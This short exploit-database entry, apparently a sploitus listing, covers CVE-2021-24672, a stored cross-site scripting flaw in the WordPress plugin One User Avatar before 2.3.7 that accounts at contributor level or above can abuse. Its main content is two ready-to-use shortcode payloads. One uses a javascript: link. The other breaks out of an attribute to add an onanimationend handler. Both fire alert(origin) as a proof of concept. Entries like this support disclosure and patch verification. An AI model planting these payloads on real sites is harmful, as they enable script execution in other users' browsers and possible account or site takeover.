Exploit for One User Avatar < 2.3.7 - Contributor+ Stored Cross-Site Scripting CVE-2021-24672

Name: Exploit for One User Avatar < 2.3.7 - Contributor+ Stored Cross-Site Scripting CVE-2021-24672
Rating: 5 (222 reviews)

2021-09-20 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:762C506A-F57D-450F-99C0-32D750306DDC
[avatar link="javascript:alert(origin)"]

[avatar target='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)' link="file"]